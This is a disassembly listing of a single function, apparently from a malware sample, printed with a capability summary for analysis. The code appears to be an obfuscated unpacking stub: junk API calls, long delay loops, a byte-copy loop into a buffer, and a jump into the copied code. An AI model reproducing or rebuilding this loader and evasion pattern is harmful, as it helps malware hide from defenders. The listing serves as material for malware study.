Function at 0x4334c2
Capabilities:
Check for software breakpoints
Copy file
Get common file path
Move file
Set console window title
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2524
call fcn.004115c0
mov eax, dword [0x43e004]
xor eax, ebp
mov dword [ebp - 8], eax
and dword [ebp - 4], 0
jmp 0x4334e6
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x36603080
jge 0x433538
cmp dword [0x442418], 0xc31
jne 0x43350d
and dword [ebp - 0x64], 0
push 0
push 0
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 4], 0x925f9e2
jle 0x433536
cmp dword [0x442418], 0xa
jne 0x433534
lea eax, [ebp - 0x68]
push eax
push 0x43be64
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
jmp 0x433538
jmp 0x4334df
and dword [ebp - 0x6c], 0
jmp 0x433545
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x5f6c74
jge 0x433563
cmp dword [ebp - 0x6c], 0x562d05
jne 0x433561
mov eax, dword [0x43eff8]
mov dword [0x44241c], eax
jmp 0x43353e
cmp dword [0x442418], 0x7c
jne 0x433633
push 0
lea eax, [ebp - 0x870]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
and dword [ebp - 0x8a4], 0
push 0x2e
push 0
lea eax, [ebp - 0x8a0]
push eax
call fcn.0040e5f0
add esp, 0xc
push 0
lea eax, [ebp - 0x8a4]
push eax
push str.fahubarocuvuvejegovimisiwu
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push 0
push 0
push 0
push 0
push str.jiriyamuwezi
push str.yisapabile
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
cmp dword [0x442418], 0x2d
jne 0x4335f9
lea eax, [ebp - 0x8bc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
cmp dword [0x442418], 0x54
jne 0x43360a
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x43be9f
push 0x440c30
call fcn.0040113f
pop ecx
pop ecx
push ecx
fldz
fstp dword [esp]
call fcn.0040100b
fstp st(0)
add esp, 4
push 0
call fcn.004017a3
pop ecx
cmp dword [0x442418], 0x110a
jne 0x4337c3
and dword [0x441720], 0
and dword [0x441724], 0
cmp dword [0x442418], 0xcc
jne 0x433681
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
lea eax, [ebp - 0x8c4]
push eax
lea eax, [ebp - 0x24c8]
push eax
push str.lumejasurinisomekep
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [ebp - 0x14c8]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push str.wevisodomasamonacocidazegoluhocirakuduciwekunasigilamepidepiyupiwowazovopejibokewizi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0
lea eax, [ebp - 0x10c8]
push eax
push str.zituvehaziyepilegeyehezesekemidelapuzayuzajebivironemus
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapSize]
push 0
push 0
call fcn.00401452
pop ecx
pop ecx
push 0x43bfe8
push str.0__f
push 0x440c30
call fcn.0040136f
add esp, 0xc
push 0
push 0
call fcn.00401452
pop ecx
pop ecx
push str.0__s__d__f
call fcn.00401518
pop ecx
mov eax, dword [0x43c000]
mov dword [ebp - 0x1cc8], eax
push 0x7fc
push 0
lea eax, [ebp - 0x1cc4]
push eax
call fcn.0040e5f0
add esp, 0xc
lea eax, [ebp - 0x14c8]
mov dword [ebp - 0x8c0], eax
push dword [ebp - 0x8c0]
lea eax, [ebp - 0x1cc8]
push eax
push 0xce6
push 0x441730
call fcn.0043336b
add esp, 0x10
push 0
push 0
call fcn.00401452
pop ecx
pop ecx
push ecx
push ecx
fldz
fstp qword [esp]
push ecx
push ecx
fldz
fstp qword [esp]
call fcn.00401000
fstp st(0)
add esp, 0x10
push 0
call fcn.00401718
pop ecx
call fcn.0043316b
and dword [ebp - 0x24d0], 0
jmp 0x4337de
mov eax, dword [ebp - 0x24d0]
inc eax
mov dword [ebp - 0x24d0], eax
mov eax, dword [ebp - 0x24d0]
cmp eax, dword [0x442418]
jae 0x433847
mov eax, dword [0x44241c]
mov dword [ebp - 0x24d4], eax
mov eax, 0xa231
add dword [ebp - 0x24d4], eax
mov eax, dword [0x441130]
add eax, dword [ebp - 0x24d0]
mov ecx, dword [ebp - 0x24d4]
add ecx, dword [ebp - 0x24d0]
mov cl, byte [ecx]
mov byte [eax], cl
cmp dword [0x442418], 0x5ab
jne 0x433845
lea eax, [ebp - 0x24f0]
push eax
push str.xacojofayu
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualUnlock]
jmp 0x4337d1
call fcn.0043322d
call fcn.00433180
push 0x43f000
call fcn.00433412
pop ecx
and dword [ebp - 0x24f4], 0
jmp 0x433872
mov eax, dword [ebp - 0x24f4]
inc eax
mov dword [ebp - 0x24f4], eax
cmp dword [ebp - 0x24f4], 0x15a63d
jge 0x43389b
cmp dword [ebp - 0x24f4], 0xbd9cb
jne 0x433899
mov eax, dword [0x441130]
add eax, 0
mov dword [0x441130], eax
jmp 0x433865
and dword [ebp - 0x24f8], 0
jmp 0x4338b1
mov eax, dword [ebp - 0x24f8]
inc eax
mov dword [ebp - 0x24f8], eax
cmp dword [ebp - 0x24f8], 0x6f479f
jge 0x433902
cmp dword [0x442418], 0xbf9
jne 0x4338d1
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
mov dword [0x44113c], 0x8e55e61a
cmp dword [0x442418], 0xbc
jne 0x433900
push 0
push str.sifaletipizeciyozuxisonejozagijiweluwipicuxogiraheroriluvejosatijedarovawujerorigikedozotawawoxukeyukejuviw
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
jmp 0x4338a4
jmp dword [0x441130]